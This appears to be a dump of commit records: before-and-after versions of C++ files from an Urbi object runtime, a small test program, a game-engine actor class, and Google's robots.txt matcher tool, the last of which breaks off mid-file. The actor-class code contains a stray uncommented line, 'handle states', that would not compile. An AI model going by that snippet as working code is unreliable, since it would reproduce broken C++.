\\\n args[0]->proto_ ## Verb (args[1]);\t\t\t\t\t\\\n return args[0];\t\t\t\t\t\t\t\\\n }\n\n \/\/\/ Add a proto.\n CHANGE_PARENTS(add);\n \/\/\/ Remove a proto.\n CHANGE_PARENTS(remove);\n#undef CHANGE_PARENTS\n\n \/\/\/ Get protos' list.\n static rObject\n object_class_protos (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 0);\n return args[0]->urbi_protos_get ();\n }\n\n \/\/\/ Recursively get protos list\n\n static bool\n proto_add(List::value_type& protos, const rObject& proto)\n {\n protos.push_back(proto);\n return false;\n }\n\n static rObject\n object_class_allProtos(runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 0);\n List::value_type res;\n for_all_protos(args[0], boost::bind(&proto_add, boost::ref(res), _1));\n return new List(res);\n }\n\n\n \/*--------.\n | Slots. |\n `--------*\/\n\n template <typename F>\n static inline void for_all_slot_names(const rObject& o, F f)\n {\n for (Object::slots_implem::iterator slot = o->slots_get().begin(o.get());\n slot != o->slots_get().end(o.get());\n ++slot)\n f(slot->first.second);\n }\n\n static void\n add_as_rString(List::value_type& l, libport::Symbol slot_name)\n {\n l.push_back(new String(slot_name));\n }\n\n \/\/\/ List of slot names.\n static rObject\n object_class_slotNames (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 0);\n const rObject& obj = args[0];\n\n List::value_type l;\n for_all_slot_names(obj, boost::bind(&add_as_rString, boost::ref(l), _1));\n return new List(l);\n }\n\n \/\/\/ Recursive list of slot names.\n\n static void\n maybe_add(std::vector<libport::Symbol>& control, List::value_type& l,\n\t libport::Symbol slot_name)\n {\n if (!libport::has(control, slot_name))\n {\n control.push_back(slot_name);\n l.push_back(new String(slot_name));\n }\n }\n\n static rObject\n object_class_allSlotNames(runner::Runner& r, objects_type& args)\n {\n check_arg_count(args.size() - 1, 0);\n std::vector<libport::Symbol> slot_names;\n List::value_type res;\n objects_type protos = object_class_allProtos(r, args)->as<List>()->value_get();\n foreach (const rObject& proto, protos)\n {\n for_all_slot_names(proto, boost::bind(&maybe_add,\n\t\t\t\t\t boost::ref(slot_names),\n\t\t\t\t\t boost::ref(res),\n\t\t\t\t\t _1));\n }\n return new List(res);\n }\n\n \/\/\/ Get a slot content.\n static rObject\n object_class_getSlot (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1);\n const rObject& obj = args[0];\n const rString& arg1 = args[1].unsafe_cast<String>();\n assert(arg1);\n return obj->slot_get(libport::Symbol(arg1->value_get()));\n }\n\n \/\/ self.getLazyLocalSlot(SLOT-NAME, DEFAULT-VALUE, CREATE?).\n static rObject\n object_class_getLazyLocalSlot (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 3);\n\n const rString& arg1 = args[1].unsafe_cast<String>();\n assert(arg1);\n const Object::key_type& slot_name = libport::Symbol(arg1->value_get());\n\n \/\/ If the slot already exists, return its content.\n if (rObject slot = args[0]->own_slot_get (slot_name))\n return slot;\n\n \/\/ The slot doesn't exist. Should we create it?\n if (is_true (args[3], SYMBOL(getLazyLocalSlot)))\n args[0]->slot_set (slot_name, args[2]);\n\n \/\/ Return the default value for this slot.\n return args[2];\n }\n\n \/\/\/ Remove a slot.\n static rObject\n object_class_removeSlot (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1);\n const rObject& obj = args[0];\n const rString& arg1 = args[1].unsafe_cast<String>();\n assert(arg1);\n obj->slot_remove(libport::Symbol(arg1->value_get()));\n return obj;\n }\n\n \/\/\/ Locate a slot.\n static rObject\n object_class_locateSlot (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1);\n const rString& arg1 = args[1].unsafe_cast<String>();\n assert(arg1);\n\n rObject o = args[0]->slot_locate(libport::Symbol(arg1->value_get()));\n return o ? o : nil_class;\n }\n\n static rObject\n object_class_setSlot (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 2);\n const rString& arg1 = args[1].unsafe_cast<String>();\n assert(arg1);\n args[0]->slot_set(libport::Symbol(arg1->value_get()), args[2]);\n return args[2];\n }\n\n static rObject\n object_class_createSlot (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1);\n const rString& arg1 = args[1].unsafe_cast<String>();\n assert(arg1);\n args[0]->slot_set(libport::Symbol(arg1->value_get()), void_class);\n return void_class;\n }\n\n static rObject\n object_class_updateSlot (runner::Runner& r, objects_type& args)\n {\n check_arg_count(args.size() - 1, 2);\n const rString& arg1 = args[1].unsafe_cast<String>();\n assert(arg1);\n return args[0]->slot_update(r, libport::Symbol(arg1->value_get()), args[2]);\n }\n\n static bool\n object_class_isA(rObject self, rObject proto)\n {\n return is_a(self, proto);\n }\n\n void\n object_class_initialize ()\n {\n object_class->slot_set(SYMBOL(isA),\n make_primitive(object_class_isA, SYMBOL(isA)));\n\n \/\/\/ \\a Call gives the name of the C++ function, and \\a Name that in Urbi.\n#define DECLARE(Name)\t\t\t\t\\\n DECLARE_PRIMITIVE(object, Name)\n\n DECLARE(addProto);\n DECLARE(allProtos);\n DECLARE(allSlotNames);\n DECLARE(apply);\n DECLARE(callMessage);\n DECLARE(clone);\n DECLARE(dump);\n DECLARE(getLazyLocalSlot);\n DECLARE(getSlot);\n DECLARE(init);\n DECLARE(locateSlot);\n DECLARE(EQ_EQ_EQ);\n DECLARE(protos);\n DECLARE(removeProto);\n DECLARE(removeSlot);\n DECLARE(EQ_EQ);\n DECLARE(setSlot);\n DECLARE(createSlot);\n DECLARE(slotNames);\n DECLARE(uid);\n DECLARE(updateSlot);\n#undef DECLARE\n\n#define DECLARE(Name, Code) \\\n object_class->slot_set(SYMBOL(Name), make_primitive(Code, SYMBOL(Name)))\n\n DECLARE(getProperty, &Object::property_get);\n DECLARE(hasProperty, &Object::property_has);\n DECLARE(hasSlot, &Object::slot_has);\n DECLARE(setProperty, &Object::property_set);\n DECLARE(removeProperty, &Object::property_remove);\n#undef DECLARE\n }\n\n}; \/\/ namespace object\n<commit_msg>Formatting changes.<commit_after>\/**\n ** \\file object\/object-class.cc\n ** \\brief Creation of the URBI object object.\n *\/\n\n\/\/#define ENABLE_DEBUG_TRACES\n\n#include <boost\/bind.hpp>\n\n#include <libport\/compiler.hh>\n#include <libport\/containers.hh>\n#include <libport\/escape.hh>\n#include <libport\/foreach.hh>\n#include <libport\/tokenizer.hh>\n\n#include <kernel\/uconnection.hh>\n\n#include <object\/cxx-primitive.hh>\n#include <object\/float.hh>\n#include <object\/global.hh>\n#include <object\/list.hh>\n#include <object\/object.hh>\n#include <object\/object.hh>\n#include <object\/string.hh>\n\n#include <runner\/call.hh>\n#include <runner\/runner.hh>\n\nnamespace object\n{\n rObject object_class;\n\n \/*--------------------.\n | Object primitives. |\n `--------------------*\/\n\n static rObject\n object_class_clone (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 0);\n\n return args[0]->clone();\n }\n\n static rObject\n object_class_init (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 0);\n return args[0];\n }\n\n \/\/\/ Send dumped self on the connection.\n \/\/\/ args[1], if present, can be the tag to use.\n static rObject\n object_class_dump (runner::Runner& r, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1, 2);\n\n \/\/ Second argument is max depth.\n int depth_max = 0;\n if (args.size() >= 2)\n {\n type_check(args[1], Float::proto);\n const rFloat& arg1 = args[1]->as<Float>();\n try\n {\n\tdepth_max = libport::ufloat_to_int(arg1->value_get());\n }\n catch (libport::bad_numeric_cast& ue)\n {\n\tthrow BadInteger(arg1->value_get(), SYMBOL(dump));\n }\n }\n\n \/\/ Third argument is the tag name.\n std::string tag;\n if (args.size() >= 3)\n {\n const rString& arg2 = args[2].unsafe_cast<String>();\n assert(arg2);\n tag = arg2->value_get();\n }\n\n std::ostringstream os;\n args[0]->dump(os, r, depth_max);\n \/\/for now our best choice is to dump line by line in \"system\" messages.\n const std::string stream = os.str();\n boost::tokenizer< boost::char_separator<char> > tok =\n libport::make_tokenizer(stream, \"\\n\");\n const std::string system_header(\"*** \");\n foreach(const std::string& line, tok)\n r.send_message(tag, system_header+line);\n return void_class;\n }\n\n \/\/\/ Return the address of an object as a number, mostly\n \/\/\/ for debugging purpose.\n static rObject\n object_class_uid (runner::Runner&, objects_type& args)\n {\n static boost::format uid(\"0x%x\");\n check_arg_count(args.size() - 1, 0);\n return\n new String(str(uid % reinterpret_cast<long long>(args[0].get())));\n }\n\n \/\/\/ Structural equality\n static rObject\n object_class_EQ_EQ(runner::Runner& r, objects_type& args)\n {\n \/\/ Unless overridden, structural equality is physical equality.\n check_arg_count(args.size() - 1, 1);\n return urbi_call(r, args[0], SYMBOL(EQ_EQ_EQ), args[1]);\n }\n\n \/\/\/ Physical equality\n static rObject\n object_class_EQ_EQ_EQ(runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1);\n return to_boolean(args[0] == args[1]);\n }\n\n static rObject\n object_class_apply(runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1);\n type_check(args[1], List::proto);\n const rList& arg1 = args[1]->as<List>();\n if (arg1->value_get ().size () != 1\n || arg1->value_get().front() != args[0])\n throw PrimitiveError(SYMBOL(apply), \"first argument must be [this]\");\n return arg1->value_get().front();\n }\n\n static rObject\n object_class_callMessage (runner::Runner& r, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1);\n \/\/ We need to set the 'code' slot: make a copy of the call message.\n rObject call_message = args[1]->clone();\n const rObject& message = call_message->slot_get(SYMBOL(message));\n type_check(message, String::proto);\n const libport::Symbol msg(message->as<String>()->value_get());\n const rObject& target = args[0];\n const rObject& code = target->slot_get(msg);\n call_message->slot_update(r, SYMBOL(code), code);\n call_message->slot_update(r, SYMBOL(target), target);\n \/\/ FIXME: Sanity checks on the call message are probably required\n return r.apply_call_message(code, msg, call_message);\n }\n\n \/*---------.\n | Protos. |\n `---------*\/\n\n \/\/\/ Adding or removing protos. \\a Verb is \"add\" or \"remove\".\n#define CHANGE_PARENTS(Verb) \\\n static rObject \\\n object_class_ ## Verb ## Proto (runner::Runner&, \\\n objects_type& args) \\\n {\t\t\t\t\t\t\t\t\t\\\n check_arg_count(args.size() - 1, 1); \\\n args[0]->proto_ ## Verb (args[1]);\t\t\t\t\t\\\n return args[0];\t\t\t\t\t\t\t\\\n }\n\n \/\/\/ Add a proto.\n CHANGE_PARENTS(add);\n \/\/\/ Remove a proto.\n CHANGE_PARENTS(remove);\n#undef CHANGE_PARENTS\n\n \/\/\/ Get protos' list.\n static rObject\n object_class_protos (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 0);\n return args[0]->urbi_protos_get ();\n }\n\n \/\/\/ Recursively get protos list\n\n static bool\n proto_add(List::value_type& protos, const rObject& proto)\n {\n protos.push_back(proto);\n return false;\n }\n\n static rObject\n object_class_allProtos(runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 0);\n List::value_type res;\n for_all_protos(args[0], boost::bind(&proto_add, boost::ref(res), _1));\n return new List(res);\n }\n\n\n \/*--------.\n | Slots. |\n `--------*\/\n\n template <typename F>\n static inline void for_all_slot_names(const rObject& o, F f)\n {\n for (Object::slots_implem::iterator slot = o->slots_get().begin(o.get());\n slot != o->slots_get().end(o.get());\n ++slot)\n f(slot->first.second);\n }\n\n static void\n add_as_rString(List::value_type& l, libport::Symbol slot_name)\n {\n l.push_back(new String(slot_name));\n }\n\n \/\/\/ List of slot names.\n static rObject\n object_class_slotNames (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 0);\n const rObject& obj = args[0];\n\n List::value_type l;\n for_all_slot_names(obj, boost::bind(&add_as_rString, boost::ref(l), _1));\n return new List(l);\n }\n\n \/\/\/ Recursive list of slot names.\n\n static void\n maybe_add(std::vector<libport::Symbol>& control, List::value_type& l,\n\t libport::Symbol slot_name)\n {\n if (!libport::has(control, slot_name))\n {\n control.push_back(slot_name);\n l.push_back(new String(slot_name));\n }\n }\n\n static rObject\n object_class_allSlotNames(runner::Runner& r, objects_type& args)\n {\n check_arg_count(args.size() - 1, 0);\n std::vector<libport::Symbol> slot_names;\n List::value_type res;\n objects_type protos =\n object_class_allProtos(r, args)->as<List>()->value_get();\n foreach (const rObject& proto, protos)\n {\n for_all_slot_names(proto, boost::bind(&maybe_add,\n\t\t\t\t\t boost::ref(slot_names),\n\t\t\t\t\t boost::ref(res),\n\t\t\t\t\t _1));\n }\n return new List(res);\n }\n\n \/\/\/ Get a slot content.\n static rObject\n object_class_getSlot (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1);\n const rObject& obj = args[0];\n const rString& arg1 = args[1].unsafe_cast<String>();\n assert(arg1);\n return obj->slot_get(libport::Symbol(arg1->value_get()));\n }\n\n \/\/ self.getLazyLocalSlot(SLOT-NAME, DEFAULT-VALUE, CREATE?).\n static rObject\n object_class_getLazyLocalSlot (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 3);\n\n const rString& arg1 = args[1].unsafe_cast<String>();\n assert(arg1);\n const Object::key_type& slot_name = libport::Symbol(arg1->value_get());\n\n \/\/ If the slot already exists, return its content.\n if (rObject slot = args[0]->own_slot_get (slot_name))\n return slot;\n\n \/\/ The slot doesn't exist. Should we create it?\n if (is_true (args[3], SYMBOL(getLazyLocalSlot)))\n args[0]->slot_set (slot_name, args[2]);\n\n \/\/ Return the default value for this slot.\n return args[2];\n }\n\n \/\/\/ Remove a slot.\n static rObject\n object_class_removeSlot (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1);\n const rObject& obj = args[0];\n const rString& arg1 = args[1].unsafe_cast<String>();\n assert(arg1);\n obj->slot_remove(libport::Symbol(arg1->value_get()));\n return obj;\n }\n\n \/\/\/ Locate a slot.\n static rObject\n object_class_locateSlot (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1);\n const rString& arg1 = args[1].unsafe_cast<String>();\n assert(arg1);\n\n rObject o = args[0]->slot_locate(libport::Symbol(arg1->value_get()));\n return o ? o : nil_class;\n }\n\n static rObject\n object_class_setSlot (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 2);\n const rString& arg1 = args[1].unsafe_cast<String>();\n assert(arg1);\n args[0]->slot_set(libport::Symbol(arg1->value_get()), args[2]);\n return args[2];\n }\n\n static rObject\n object_class_createSlot (runner::Runner&, objects_type& args)\n {\n check_arg_count(args.size() - 1, 1);\n const rString& arg1 = args[1].unsafe_cast<String>();\n assert(arg1);\n args[0]->slot_set(libport::Symbol(arg1->value_get()), void_class);\n return void_class;\n }\n\n static rObject\n object_class_updateSlot (runner::Runner& r, objects_type& args)\n {\n check_arg_count(args.size() - 1, 2);\n const rString& arg1 = args[1].unsafe_cast<String>();\n assert(arg1);\n return args[0]->slot_update(r, libport::Symbol(arg1->value_get()), args[2]);\n }\n\n static bool\n object_class_isA(rObject self, rObject proto)\n {\n return is_a(self, proto);\n }\n\n void\n object_class_initialize ()\n {\n object_class->slot_set(SYMBOL(isA),\n make_primitive(object_class_isA, SYMBOL(isA)));\n\n \/\/\/ \\a Call gives the name of the C++ function, and \\a Name that in Urbi.\n#define DECLARE(Name)\t\t\t\t\\\n DECLARE_PRIMITIVE(object, Name)\n\n DECLARE(addProto);\n DECLARE(allProtos);\n DECLARE(allSlotNames);\n DECLARE(apply);\n DECLARE(callMessage);\n DECLARE(clone);\n DECLARE(dump);\n DECLARE(getLazyLocalSlot);\n DECLARE(getSlot);\n DECLARE(init);\n DECLARE(locateSlot);\n DECLARE(EQ_EQ_EQ);\n DECLARE(protos);\n DECLARE(removeProto);\n DECLARE(removeSlot);\n DECLARE(EQ_EQ);\n DECLARE(setSlot);\n DECLARE(createSlot);\n DECLARE(slotNames);\n DECLARE(uid);\n DECLARE(updateSlot);\n#undef DECLARE\n\n#define DECLARE(Name, Code) \\\n object_class->slot_set(SYMBOL(Name), make_primitive(Code, SYMBOL(Name)))\n\n DECLARE(getProperty, &Object::property_get);\n DECLARE(hasProperty, &Object::property_has);\n DECLARE(hasSlot, &Object::slot_has);\n DECLARE(setProperty, &Object::property_set);\n DECLARE(removeProperty, &Object::property_remove);\n#undef DECLARE\n }\n\n}; \/\/ namespace object\n<|endoftext|>"} {"text":"<commit_before>\/\/ MathLib.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n#include <unittest.h>\n#include <neuralnet.h>\n\nint _tmain(int \/*argc*\/, _TCHAR* \/*argv[]*\/)\n{\n\t\/\/test change\n\trun_tests();\n\n\treturn 0;\n}\n<commit_msg>Small cleanup<commit_after>\/\/ MathLib.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n#include <unittest.h>\n\nint _tmain(int \/*argc*\/, _TCHAR* \/*argv[]*\/)\n{\n\t\/\/test change\n\trun_tests();\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Engine.h\"\n#include \"Game.h\"\n#include \"ObjectDummy.h\"\n#include \"BodyRigid.h\"\n#include \"BodyDummy.h\"\n#include \"Physics.h\"\n#include \"ShapeCapsule.h\"\n#include \"ActorBase.h\"\n#include \"Visualizer.h\"\n#include \"sys\/SysControl.h\"\n\n\nusing namespace MathLib;\n\n#ifdef MEMORY_INFO\n#define new new(__FILE__, __LINE__) \n#endif \/\/ MEMORY_INFO\n\n\/*\n*\/\n#define ACTOR_BASE_IFPS (1.0f \/ 60.0f)\n#define ACTOR_BASE_CLAMP 89.9f\n#define ACTOR_BASE_COLLISIONS 4\n\n\n\/*\n*\/\nCActorBase::CActorBase()\n{\n\tm_vUp = vec3(0.0f, 0.0f, 1.0f);\n\tm_pObject = new CObjectDummy();\n\tm_pDummy = new CBodyDummy();\n\tm_pShape = new CShapeCapsule(1.0f, 1.0f);\n\n\tm_nFlush = 0;\n\tm_vPosition = Vec3_zero;\n\tm_vVelocity = Vec3_zero;\n\tm_fPhiAngle = 0.0f;\t\t\t\/\/倾斜角\t\t二维平面坐标系中,直线向Y周延伸的方向与X轴正向之间的夹角\n\tm_fThetaAngle = 0.0f;\t\t\t\/\/方位角,正北方那条线与当前线条按照顺时针走过的角度\n\n\n\tfor (int i = 0; i < NUM_STATES; i++)\n\t{\n\t\tm_pStates[i] = 0;\n\t\tm_pTimes[i] = 0.0f;\n\t}\n\tm_pDummy->SetEnabled(1);\n\tm_pObject->SetBody(NULL);\n\tm_pObject->SetBody(m_pDummy);\n\tm_pShape->SetBody(NULL);\n\tm_pShape->SetBody(m_pDummy);\n\n\tm_pObject->SetWorldTransform(Get_Body_Transform());\n\tm_pShape->SetRestitution(0.0f);\n\tm_pShape->SetCollisionMask(2);\n\n\n\tSetEnabled(1);\n\tSetViewDirection(vec3(0.0f, 1.0f, 0.0f));\n\tSetCollision(1);\n\tSetCollisionRadius(0.3f);\n\tSetCollisionHeight(1.0f);\n\tSetFriction(2.0f);\n\tSetMinVelocity(2.0f);\n\tSetMaxVelocity(4.0f);\n\tSetAcceleration(8.0f);\n\tSetDamping(8.0f);\n\tSetJumping(1.5f);\n\n\tSetGround(0);\n\tSetCeiling(0);\n}\n\n\nCActorBase::~CActorBase()\n{\n\tm_pDummy->SetObject(NULL);\n\tdelete m_pObject;\n\tdelete m_pDummy;\n}\n\nvoid CActorBase::SetEnabled(int enable)\n{\n\tm_nEnable = enable;\n\tm_pDummy->SetEnabled(m_nEnable);\n}\n\n\nint CActorBase::IsEnabled() const\n{\n\treturn m_nEnable;\n}\nvoid CActorBase::Update(float ifps)\n{\n\tif (!m_nEnable)\n\t{\n\t\treturn;\n\t}\n\n\t\/\/ impulse\n\tvec3 impulse = vec3_zero;\n\n\t\/\/ ortho basis\n\tvec3 tangent, binormal;\n\tOrthoBasis(m_vUp, tangent, binormal);\n\n\t\/\/ current basis\n\tvec3 x = quat(m_vUp, -m_fPhiAngle) * binormal;\n\tvec3 y = Normalize(Cross(m_vUp, x));\n\tvec3 z = Normalize(Cross(x, y));\n\n\thandle states\n\tUpdate_States(1, ifps);\n\n\t\/\/ old velocity\n\tfloat x_velocity = Dot(x, m_vVelocity);\n\tfloat y_velocity = Dot(y, m_vVelocity);\n\tfloat z_velocity = Dot(z, m_vVelocity);\n}<commit_msg>Signed-off-by: mrlitong <litongtongxue@gmail.com><commit_after>#include \"Engine.h\"\n#include \"Game.h\"\n#include \"ObjectDummy.h\"\n#include \"BodyRigid.h\"\n#include \"BodyDummy.h\"\n#include \"Physics.h\"\n#include \"ShapeCapsule.h\"\n#include \"ActorBase.h\"\n#include \"Visualizer.h\"\n#include \"sys\/SysControl.h\"\n\n\nusing namespace MathLib;\n\n#ifdef MEMORY_INFO\n#define new new(__FILE__, __LINE__) \n#endif \/\/ MEMORY_INFO\n\n\/*\n*\/\n#define ACTOR_BASE_IFPS (1.0f \/ 60.0f)\n#define ACTOR_BASE_CLAMP 89.9f\n#define ACTOR_BASE_COLLISIONS 4\n\n\n\/*\n*\/\nCActorBase::CActorBase()\n{\n\tm_vUp = vec3(0.0f, 0.0f, 1.0f);\n\tm_pObject = new CObjectDummy();\n\tm_pDummy = new CBodyDummy();\n\tm_pShape = new CShapeCapsule(1.0f, 1.0f);\n\n\tm_nFlush = 0;\n\tm_vPosition = Vec3_zero;\n\tm_vVelocity = Vec3_zero;\n\tm_fPhiAngle = 0.0f;\t\t\t\/\/倾斜角\t\t二维平面坐标系中,直线向Y周延伸的方向与X轴正向之间的夹角\n\tm_fThetaAngle = 0.0f;\t\t\t\/\/方位角,正北方那条线与当前线条按照顺时针走过的角度\n\n\n\tfor (int i = 0; i < NUM_STATES; i++)\n\t{\n\t\tm_pStates[i] = 0;\n\t\tm_pTimes[i] = 0.0f;\n\t}\n\tm_pDummy->SetEnabled(1);\n\tm_pObject->SetBody(NULL);\n\tm_pObject->SetBody(m_pDummy);\n\tm_pShape->SetBody(NULL);\n\tm_pShape->SetBody(m_pDummy);\n\n\tm_pObject->SetWorldTransform(Get_Body_Transform());\n\tm_pShape->SetRestitution(0.0f);\n\tm_pShape->SetCollisionMask(2);\n\n\n\tSetEnabled(1);\n\tSetViewDirection(vec3(0.0f, 1.0f, 0.0f));\n\tSetCollision(1);\n\tSetCollisionRadius(0.3f);\n\tSetCollisionHeight(1.0f);\n\tSetFriction(2.0f);\n\tSetMinVelocity(2.0f);\n\tSetMaxVelocity(4.0f);\n\tSetAcceleration(8.0f);\n\tSetDamping(8.0f);\n\tSetJumping(1.5f);\n\n\tSetGround(0);\n\tSetCeiling(0);\n}\n\n\nCActorBase::~CActorBase()\n{\n\tm_pDummy->SetObject(NULL);\n\tdelete m_pObject;\n\tdelete m_pDummy;\n}\n\nvoid CActorBase::SetEnabled(int enable)\n{\n\tm_nEnable = enable;\n\tm_pDummy->SetEnabled(m_nEnable);\n}\n\n\nint CActorBase::IsEnabled() const\n{\n\treturn m_nEnable;\n}\nvoid CActorBase::Update(float ifps)\n{\n\tif (!m_nEnable)\n\t{\n\t\treturn;\n\t}\n\n\t\/\/ impulse\n\tvec3 impulse = vec3_zero;\n\n\t\/\/ ortho basis\n\tvec3 tangent, binormal;\n\tOrthoBasis(m_vUp, tangent, binormal);\n\n\t\/\/ current basis\n\tvec3 x = quat(m_vUp, -m_fPhiAngle) * binormal;\n\tvec3 y = Normalize(Cross(m_vUp, x));\n\tvec3 z = Normalize(Cross(x, y));\n\n\thandle states\n\tUpdate_States(1, ifps);\n\n\t\/\/ old velocity\n\tfloat x_velocity = Dot(x, m_vVelocity);\n\tfloat y_velocity = Dot(y, m_vVelocity);\n\tfloat z_velocity = Dot(z, m_vVelocity);\n\t\/\/ movement\n\tif (m_pStates[STATE_FORWARD]) impulse += x;\n\tif (m_pStates[STATE_BACKWARD]) impulse -= x;\n\tif (m_pStates[STATE_MOVE_LEFT]) impulse += y;\n\tif (m_pStates[STATE_MOVE_RIGHT]) impulse -= y;\n\timpulse.normalize();\n\n\n}<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2019 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ -----------------------------------------------------------------------------\n\/\/ File: robots_main.cc\n\/\/ -----------------------------------------------------------------------------\n\/\/\n\/\/ Simple binary to assess whether a URL is accessible to a user-agent according\n\/\/ to records found in a local robots.txt file, based on Google's robots.txt\n\/\/ parsing and matching algorithms.\n\/\/ Usage:\n\/\/ robots_main <local_path_to_robotstxt> <user_agent> <url>\n\/\/ Arguments:\n\/\/ local_path_to_robotstxt: local path to a file containing robots.txt records.\n\/\/ For example: \/home\/users\/username\/robots.txt\n\/\/ user_agent: a token to be matched against records in the robots.txt.\n\/\/ For example: Googlebot\n\/\/ url: a url to be matched against records in the robots.txt. The URL must be\n\/\/ %-encoded according to RFC3986.\n\/\/ For example: https:\/\/example.com\/accessible\/url.html\n\/\/ Returns: Prints a sentence with verdict about whether 'user_agent' is allowed\n\/\/ to access 'url' based on records in 'local_path_to_robotstxt'.\n\/\/\n#include <fstream>\n#include <iostream>\n\n#include \"robots.h\"\n\nbool LoadFile(const std::string& filename, std::string* result) {\n std::ifstream file(filename, std::ios::in | std::ios::binary | std::ios::ate);\n if (file.is_open()) {\n size_t size = file.tellg();\n std::vector<char> buffer(size);\n file.seekg (0, std::ios::beg);\n file.read(buffer.data(), size);\n file.close();\n if (!file) return false; \/\/ file reading error (failbit or badbit).\n result->assign(buffer.begin(), buffer.end());\n return true;\n }\n return false;\n}\n\nvoid ShowHelp(int argc, char** argv) {\n std::cerr << \"Shows whether the given user_agent and URI combination\"\n << \" is allowed or disallowed by the given robots.txt file. \"\n << std::endl << std::endl;\n std::cerr << \"Usage: \" << std::endl << \" \" << argv[0]\n << \" <robots.txt filename> <user_agent> <URI>\"\n << std::endl << std::endl;\n std::cerr << \"The URI must be %-encoded according to RFC3986.\"\n << std::endl << std::endl;\n std::cerr << \"Example: \" << std::endl\n << \" \" << argv[0] << \" robots.txt FooBot http:\/\/example.com\/foo\"\n << std::endl;\n}\n\nint main(int argc, char** argv) {\n std::string filename = argc >= 2 ? argv[1] : \"\";\n if (filename == \"-h\" || filename == \"-help\" || filename == \"--help\") {\n ShowHelp(argc, argv);\n return 0;\n }\n if (argc != 4) {\n std::cerr << \"Invalid amount of arguments. Showing help.\"\n << std::endl << std::endl;\n ShowHelp(argc, argv);\n return 1;\n }\n std::string robots_content;\n if (!(LoadFile(filename, &robots_content))) {\n std::cerr << \"failed to read file \\\"\" << filename << \"\\\"\" << std::endl;\n return 1;\n }\n\n std::string user_agent = argv[2];\n std::vector<std::string> user_agents(1, user_agent);\n googlebot::RobotsMatcher matcher;\n std::string url = argv[3];\n bool allowed = matcher.AllowedByRobots(robots_content, &user_agents, url);\n\n std::cout << \"user-agent '\" << user_agent << \"' with URI '\" << argv[3]\n << \"': \" << (allowed ? \"ALLOWED\" : \"DISALLOWED\") << std::endl;\n if (robots_content.empty()) {\n std::cout << \"notice: robots file is empty so all user-agents are allowed\"\n << std::endl;\n }\n}\n<commit_msg>Remove whitespace in method call<commit_after>\/\/ Copyright 2019 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ -----------------------------------------------------------------------------\n\/\/ File: robots_main.cc\n\/\/ -----------------------------------------------------------------------------\n\/\/\n\/\/ Simple binary to assess whether a URL is accessible to a user-agent according\n\/\/ to records found in a local robots.txt file, based on Google's robots.txt\n\/\/ parsing and matching algorithms.\n\/\/ Usage:\n\/\/ robots_main <local_path_to_robotstxt> <user_agent> <url>\n\/\/ Arguments:\n\/\/ local_path_to_robotstxt: local path to a file containing robots.txt records.\n\/\/ For example: \/home\/users\/username\/robots.txt\n\/\/ user_agent: a token to be matched against records in the robots.txt.\n\/\/ For example: Googlebot\n\/\/ url: a url to be matched against records in the robots.txt. The URL must be\n\/\/ %-encoded according to RFC3986.\n\/\/ For example: https:\/\/example.com\/accessible\/url.html\n\/\/ Returns: Prints a sentence with verdict about whether 'user_agent' is allowed\n\/\/ to access 'url' based on records in 'local_path_to_robotstxt'.\n\/\/\n#include <fstream>\n#include <iostream>\n\n#include \"robots.h\"\n\nbool LoadFile(const std::string& filename, std::string* result) {\n std::ifstream file(filename, std::ios::in | std::ios::binary | std::ios::ate);\n if (file.is_open()) {\n size_t size = file.tellg();\n std::vector<char> buffer(size);\n file.seekg(0, std::ios::beg);\n file.read(buffer.data(), size);\n file.close();\n if (!file) return false; \/\/ file reading error (failbit or badbit).\n result->assign(buffer.begin(), buffer.end());\n return true;\n }\n return false;\n}\n\nvoid ShowHelp(int argc, char** argv) {\n std::cerr << \"Shows whether the given user_agent and URI combination\"\n << \" is allowed or disallowed by the given robots.txt file. \"\n << std::endl << std::endl;\n std::cerr << \"Usage: \" << std::endl << \" 